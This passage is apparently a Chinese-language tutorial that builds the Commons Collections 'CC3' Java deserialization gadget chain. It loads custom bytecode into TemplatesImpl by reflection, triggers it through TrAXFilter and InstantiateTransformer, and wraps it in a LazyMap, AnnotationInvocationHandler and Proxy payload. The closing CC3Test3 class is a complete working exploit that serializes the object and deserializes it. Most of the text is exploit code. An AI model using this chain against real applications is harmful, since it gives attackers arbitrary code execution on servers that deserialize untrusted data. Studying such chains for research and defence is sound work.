private byte[][] _bytecodes = null;
_bytecodes是一个byte二维数组 , 我们将byte[]类型的字节码赋值给_bytecodes[0]
这里就直接赋值字节码内容了
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
这样在defineTransletClasses被调用的时候
执行_class[i] = loader.defineClass(_bytecodes[i]);
_class[0]将会被赋值为loader.defineClass(code)
由于_tfactory需要调用,所以给_tfactory也赋值
最终实现代码如下:
TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");//注释不给_class赋值,满足_class == null,defineTransletClasses得到调用//Field aClass = templates_cl.getDeclaredField("_class");//aClass.setAccessible(true);//aClass.set(templates,new Class[]{Runtimecalc.class});Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);//加载字节码byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));byte[][] codes = {code};//给_bytecodes赋值Field bytecodes = templates_cl.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,codes);//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap//_tfactorys是TransformerFactoryImpl类型的TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();Field tfactory = templates_cl.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,transformerFactory);templates.newTransformer();
三、让newTransformer得到执行
TrAXFilter类的构造方法会调用newTransformer
public TrAXFilter(Templates templates)throwsTransformerConfigurationException{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();}
TrAXFilter trAXFilter = new TrAXFilter(templates);
但是TrAXFilter并不实现Serializable接口,无法序列化,需要通过反射调用
在cc1中反射执行最终是通过InvokerTransformer的transform来实现
这里用了InstantiateTransformer的transform
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);
剩下的就和cc1一样了
public class CC3Test3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));byte[][] codes = {code};//给_bytecodes赋值Field bytecodes = templates_cl.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,codes);//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap//_tfactorys是TransformerFactoryImpl类型的TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();Field tfactory = templates_cl.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,transformerFactory);InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});Transformer[] transformerslist = {new ConstantTransformer(TrAXFilter.class),instantiateTransformer,};ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);HashMap hashMap1 = new HashMap();LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));objectOutputStream.writeObject(handle);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));objectInputStream.readObject();}}